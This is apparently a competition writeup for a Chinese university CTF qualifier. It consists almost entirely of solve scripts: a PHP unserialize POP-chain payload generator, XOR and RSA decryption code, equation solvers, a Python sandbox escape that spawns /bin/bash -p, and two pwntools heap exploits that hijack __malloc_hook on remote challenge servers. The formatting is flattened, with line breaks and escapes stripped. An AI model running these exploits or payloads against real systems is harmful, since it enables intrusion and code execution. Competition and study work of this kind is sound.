全国大学生信息安全竞赛初赛writeup

<?php namespace DB{     abstract class Cursor  implements IteratorAggregate {} }     namespace DBSQL{     class Mapper extends DBCursor{         protected             $props=["quotekey"=>"call_user_func"],             $adhoc=["phpinfo"=>["expr"=>""]],             $db;         function offsetExists($offset){}         function offsetGet($offset){}         function offsetSet($offset, $value){}         function offsetUnset($offset){}         function getIterator(){}         function __construct($val){             $this->db = $val;         }     } } namespace CLI{     class Agent {         protected             $server="";         public $events;         public function __construct(){             $this->events=["disconnect"=>array(new DBSQLMapper(new DBSQLMapper("")),"find")];             $this->server=&$this;             }     };     class WS{} } namespace {     echo urlencode(serialize(array(new CLIWS(),new CLIAgent()))); }

<?php class trick{     public $trick1;     public $trick2; 
    public function __construct(){         $this->trick1=INF;         $this->trick2=INF;     } } echo urlencode(serialize(new trick()));

file=open('flag.txt','rb') f=file.read() v4=34 v5=0 flag="" for i in f: 	flag=flag+chr((ord(i)^v4)-v5) 	v4=(v4+34)&0xff 	v5=(v5+2)&0xf 	#print flag,v4,v5 print flag

fin=open("xorkey","rb") #服务器上的私钥去除BEGIN RSA PRIVATE KEY头 fout=open("prive_key1","wb") y=fin.read().split("nx00") print y for i in y[:-1]: 	b=ord(i[0])^0x1 	fout.write(chr(b)+i[1:]) 	fout.write("x0Dx0A")

from Crypto.PublicKey import RSA import string #prive.pem为前面异或后生成的文件加上BEGIN RSA PRIVATE KEY头后生成的文件 with open("prive.pem") as f: 	key = f.read() 	rsakey = RSA.importKey(key) #flag.5就是题目给的flag.555555555555584648686 with open('flag.5','rb') as f: 	cipher = f.read().encode('hex') 	cipher = string.atoi(cipher,base=16) 	print cipher m=pow(cipher,rsakey.d,rsakey.n) print hex(m) m1="666c61677b32376263333539392d656339662d346263302d623030372d6266626366633664396661627d" print m1.decode('hex')

import idc import idautils def tiqu(start,end): 	a=[] 	for i in range(start,end,4): 		a.append(idc.Word(i)) 	print a tiqu(0x404020,0x4040c8)

import sympy c1=[] for i in range(46,88): 	a1='v'+str(i) 	exec(a1+'='+"sympy.Symbol('"+a1+"')") 	exec("c1.append("+a1+")") a5=[20247L, 40182L, 36315L, 36518L, 26921L, 39185L, 16546L, 12094L, 25270L, 19330L, 18540L, 16386L, 21207L, 11759L, 10460L, 25613L, 21135L, 24891L, 18305L, 27415L, 12855L, 10899L, 24927L, 20670L, 22926L, 18006L, 23345L, 12602L, 12304L, 26622L, 19807L, 22747L, 14233L, 24736L, 10064L, 14169L, 35155L, 28962L, 33273L, 21796L, 35185L, 14877L] v4 = 34 * v49 + 12 * v46 + 53 * v47 + 6 * v48 + 58 * v50 + 36 * v51 + v52 v5 = 27 * v50 + 73 * v49 + 12 * v48 + 83 * v46 + 85 * v47 + 96 * v51 + 52 * v52 v6 = 24 * v48 + 78 * v46 + 53 * v47 + 36 * v49 + 86 * v50 + 25 * v51 + 46 * v52 v7 = 78 * v47 + 39 * v46 + 52 * v48 + 9 * v49 + 62 * v50 + 37 * v51 + 84 * v52 v8 = 48 * v50 + 14 * v48 + 23 * v46 + 6 * v47 + 74 * v49 + 12 * v51 + 83 * v52 v9 = 15 * v51 + 48 * v50 + 92 * v48 + 85 * v47 + 27 * v46 + 42 * v49 + 72 * v52 v10 = 26 * v51 + 67 * v49 + 6 * v47 + 4 * v46 + 3 * v48 + 68 * v52 v11 = 34 * v56 + 12 * v53 + 53 * v54 + 6 * v55 + 58 * v57 + 36 * v58 + v59 v12 = 27 * v57 + 73 * v56 + 12 * v55 + 83 * v53 + 85 * v54 + 96 * v58 + 52 * v59 v13 = 24 * v55 + 78 * v53 + 53 * v54 + 36 * v56 + 86 * v57 + 25 * v58 + 46 * v59 v14 = 78 * v54 + 39 * v53 + 52 * v55 + 9 * v56 + 62 * v57 + 37 * v58 + 84 * v59 v15 = 48 * v57 + 14 * v55 + 23 * v53 + 6 * v54 + 74 * v56 + 12 * v58 + 83 * v59 v16 = 15 * v58 + 48 * v57 + 92 * v55 + 85 * v54 + 27 * v53 + 42 * v56 + 72 * v59 v17 = 26 * v58 + 67 * v56 + 6 * v54 + 4 * v53 + 3 * v55 + 68 * v59 v18 = 34 * v63 + 12 * v60 + 53 * v61 + 6 * v62 + 58 * v64 + 36 * v65 + v66 v19 = 27 * v64 + 73 * v63 + 12 * v62 + 83 * v60 + 85 * v61 + 96 * v65 + 52 * v66 v20 = 24 * v62 + 78 * v60 + 53 * v61 + 36 * v63 + 86 * v64 + 25 * v65 + 46 * v66 v21 = 78 * v61 + 39 * v60 + 52 * v62 + 9 * v63 + 62 * v64 + 37 * v65 + 84 * v66 v22 = 48 * v64 + 14 * v62 + 23 * v60 + 6 * v61 + 74 * v63 + 12 * v65 + 83 * v66 v23 = 15 * v65 + 48 * v64 + 92 * v62 + 85 * v61 + 27 * v60 + 42 * v63 + 72 * v66 v24 = 26 * v65 + 67 * v63 + 6 * v61 + 4 * v60 + 3 * v62 + 68 * v66 v25 = 34 * v70 + 12 * v67 + 53 * v68 + 6 * v69 + 58 * v71 + 36 * v72 + v73 v26 = 27 * v71 + 73 * v70 + 12 * v69 + 83 * v67 + 85 * v68 + 96 * v72 + 52 * v73 v27 = 24 * v69 + 78 * v67 + 53 * v68 + 36 * v70 + 86 * v71 + 25 * v72 + 46 * v73 v28 = 78 * v68 + 39 * v67 + 52 * v69 + 9 * v70 + 62 * v71 + 37 * v72 + 84 * v73 v29 = 48 * v71 + 14 * v69 + 23 * v67 + 6 * v68 + 74 * v70 + 12 * v72 + 83 * v73 v30 = 15 * v72 + 48 * v71 + 92 * v69 + 85 * v68 + 27 * v67 + 42 * v70 + 72 * v73 v31 = 26 * v72 + 67 * v70 + 6 * v68 + 4 * v67 + 3 * v69 + 68 * v73 v32 = 34 * v77 + 12 * v74 + 53 * v75 + 6 * v76 + 58 * v78 + 36 * v79 + v80 v33 = 27 * v78 + 73 * v77 + 12 * v76 + 83 * v74 + 85 * v75 + 96 * v79 + 52 * v80 v34 = 24 * v76 + 78 * v74 + 53 * v75 + 36 * v77 + 86 * v78 + 25 * v79 + 46 * v80 v35 = 78 * v75 + 39 * v74 + 52 * v76 + 9 * v77 + 62 * v78 + 37 * v79 + 84 * v80 v36 = 48 * v78 + 14 * v76 + 23 * v74 + 6 * v75 + 74 * v77 + 12 * v79 + 83 * v80 v37 = 15 * v79 + 48 * v78 + 92 * v76 + 85 * v75 + 27 * v74 + 42 * v77 + 72 * v80 v38 = 26 * v79 + 67 * v77 + 6 * v75 + 4 * v74 + 3 * v76 + 68 * v80 v39 = 34 * v84 + 12 * v81 + 53 * v82 + 6 * v83 + 58 * v85 + 36 * v86 + v87 v40 = 27 * v85 + 73 * v84 + 12 * v83 + 83 * v81 + 85 * v82 + 96 * v86 + 52 * v87 v41 = 24 * v83 + 78 * v81 + 53 * v82 + 36 * v84 + 86 * v85 + 25 * v86 + 46 * v87 v42 = 78 * v82 + 39 * v81 + 52 * v83 + 9 * v84 + 62 * v85 + 37 * v86 + 84 * v87 v43 = 48 * v85 + 14 * v83 + 23 * v81 + 6 * v82 + 74 * v84 + 12 * v86 + 83 * v87 v44 = 15 * v86 + 48 * v85 + 92 * v83 + 85 * v82 + 27 * v81 + 42 * v84 + 72 * v87 v45 = 26 * v86 + 67 * v84 + 6 * v82 + 4 * v81 + 3 * v83 + 68 * v87 b2=[] 
for i in range(4,46): 	exec("b2.append("+'v'+str(i)+')') for j in range(0,len(a5)): 	b2[j]=b2[j]-a5[j] #print c1,b2 f=sympy.solve(b2,c1) flag="" for i in range(46,88): 	a1='v'+str(i) 	exec("flag+=chr(f["+a1+"])") print flag

a1=[221, 91, 158, 29, 32, 158, 144, 145, 144, 144, 145, 146, 222, 139, 17, 209, 30, 158, 139, 81, 17, 80, 81, 139, 158, 93, 93, 17, 139, 144, 18, 145, 80, 18, 210, 145, 146, 30, 158, 144, 210, 159] f="" for i in range(0,42): 	for j in range(0x20,0x7f): 		b=(((((j<<6)^(j>>2))&0xff)^0x23)+0x23)&0xff 		if b == a1[i]: 			f=f+chr(j) 			break print f

d=1485313191830359055093545745451584299495272920840463008756233 n=86966590627372918010571457840724456774194080910694231109811773050866217415975647358784246153710824794652840306389428729923771431340699346354646708396564203957270393882105042714920060055401541794748437242707186192941546185666953574082803056612193004258064074902605834799171191314001030749992715155125694272289 c=37625098109081701774571613785279343908814425141123915351527903477451570893536663171806089364574293449414561630485312247061686191366669404389142347972565020570877175992098033759403318443705791866939363061966538210758611679849037990315161035649389943256526167843576617469134413191950908582922902210791377220066 m=pow(c,d,n) print hex(m)[2:-1].decode('hex')

# This file was *autogenerated* from the file 333.sage from sage.all_cmdline import *   # import sage library 
_sage_const_100 = Integer(100); _sage_const_2 = Integer(2); _sage_const_1 = Integer(1) s = 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1' 
N = _sage_const_100  F = GF(_sage_const_2 ) ans=[] out = s Sn = [vector(F,N) for j in range(N+_sage_const_1 )] for j in range(N+_sage_const_1 ):     Sn[j] = list(map(int,out[j:j+N]))      X = matrix(F,Sn[:N]) invX = (X**-_sage_const_1 ) Y = vector(F,Sn[-_sage_const_1 ]) Cn = Y * invX res = ''.join(str(i) for i in Cn) ans.append(int(res[::-_sage_const_1 ],_sage_const_2 )) print (ans)

__import__('os').execl('/bin/bash','-p')

#coding:utf-8 from pwn import * #context.log_level = 'debug' context.arch = 'amd64' #p = remote("121.36.209.145",9998) #p = process('./pwn_e') p = remote("101.200.53.148", 15423) elf = ELF('./pwn_e') libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")  sd = lambda s:p.send(s) sl = lambda s:p.sendline(s) rc = lambda s:p.recv(s) ru = lambda s:p.recvuntil(s) sda = lambda a,s:p.sendafter(a,s) sla = lambda a,s:p.sendlineafter(a,s) sa = lambda a,s:p.sendafter(a,s) def new(size,content):     sla("5. exitn>> ",'1')     sla("please answer the questionnn",str(80))     sla("?n",str(size))     sda("start_the_game,yes_or_no?n",content)  def dele(idx):      sla(">> ",'2')     sla("index ?n",str(idx))  def show(idx):      sla(">> ",'3')     sla("index ?n",str(idx))  def edit(idx,data):      sla(">> ",'4')     sla("n",str(idx))     sda("?n",data)  one = [0x45226,0x4527a,0xf03642,0xf1207]  new(0x100,'a'*0x100)#0 new(0x68,'a'*0x100)#1 new(0x10,'a'*0x100)#2 dele(0) new(0x68,'a')#3 new(0x68,'a')#4 new(0x28,'a')#5 dele(1) edit(0,'x00'*0x68+p64(0x111)) dele(4) new(0x98,'a')#6 edit(1,p16(0x25dd)) new(0x68,'a')#7 new(0x68,'x00'*0x33+p64(0xfbad3c80)+p64(0)*3+chr(0))#8 edit(8,'x00'*0x33+p64(0xfbad3c80)+p64(0)*3+chr(0)) rc(0x58) libc = u64(rc(8).ljust(8,'x00'))- 0x3c56a3 log.info("libc: "+hex(libc)) ru(">> ") sl(str(2)) ru("n") sl(str(7)) edit(1,p64(libc+0x3c4b10-0x23)) sla(">> ",'1') sla("n",str(80)) sla("______?",str(0x68)) sda("start_the_game,yes_or_no?",'a') sla(">> ",'1') sla("n",str(80)) sla("______?",str(0x68)) sda("start_the_game,yes_or_no?",'a')  #new(0x68,'a')#10 edit(10,'x00'*0x13+p64(libc+0xf1207)) sla(">> ",'1') sla("n",str(80)) sla("______?",str(0x68))  p.interactive()  

#!/usr/bin/env python # -*- coding: utf-8 -*- from pwn import * import sys context.log_level = 'debug' s       = lambda x                  :orda.send(str(x)) sa      = lambda x, y                 :orda.sendafter(str(x),str(y))  sl      = lambda x                   :orda.sendline(str(x))  sla     = lambda x, y                 :orda.sendlineafter(str(x), str(y))  r       = lambda numb=4096          :orda.recv(numb) rc        = lambda                     :orda.recvall() ru      = lambda x, drop=True          :orda.recvuntil(x, drop) rr        = lambda x                    :orda.recvrepeat(x) irt     = lambda                    :orda.interactive() uu32    = lambda x   :u32(x.ljust(4, 'x00')) uu64    = lambda x   :u64(x.ljust(8, 'x00')) db        = lambda    :raw_input() def getbase_b64(t):     pid=proc.pidof(s)[0]     pie_pwd ='/proc/'+str(pid)+'/maps'     f_pie=open(pie_pwd)     return f_pie.read()[:12] if len(sys.argv) > 1:     s = "101.200.53.148:34521"     host = s.split(":")[0]     port = int(s.split(":")[1])     orda = remote(host,port) else:     orda = process("./pwn")  def add(idx,size,content):     sla(">>>n",1)     sla("n",idx)     sla("n",size)     sa("n",content)  def dele(idx):     sla(">>>n",2)     sla("n",idx)  def add_e(idx,size,content):     sla("n",1)     sla("n",idx)     sla("n",size)     sa("n",content)  add(0,0x18,'a') add(1,0x68,'a') add(2,0x68,'a')# add(3,0x68,'a') add(4,0x68,'a') dele(2) dele(0) add(0,0x18,'a'*0x18+'xe1') dele(1) add(1,0x28,'a') add(5,0x38,'a')# add(6,0x28,'a') add(7,0x30,'a') dele(0) add(0,0x18,'a'*0x18+'xe1') dele(1) add(7,0x38,'a') add(8,0x58,'x00'*0x28+p64(0x71)+p16(0x25dd)) add(9,0x38,'x00'*0x28+p64(0x80)) add(10,0x68,'a') add(10,0x68,'x00'*0x33+p64(0xfbad3c80)+p64(0)*3+chr(0)) r(0x58) libc = u64(r(8).ljust(8,'x00'))- 0x3c56a3 log.info("libc: "+hex(libc)) sla("n",1) sla("n",0) sla("n",0x18) sa("n",'a') #add(0,0x18,'a') add_e(1,0x68,'a') add(2,0x68,'a')#  add(3,0x68,'a') add(4,0x68,'a') dele(2) dele(0) add(0,0x18,'a'*0x18+'xe1') dele(1) add(1,0x98,'x00'*0x68+p64(0x71)+p64(libc+0x3c4b10-0x23)) add(8,0x38,'a') add(9,0x68,'a') add(10,0x68,'x00'*0x13+p64(libc+0xf1207)) #ru("n")  #sla(">>n",'1') #sla("n",0) #sla("n",0x60)   irt()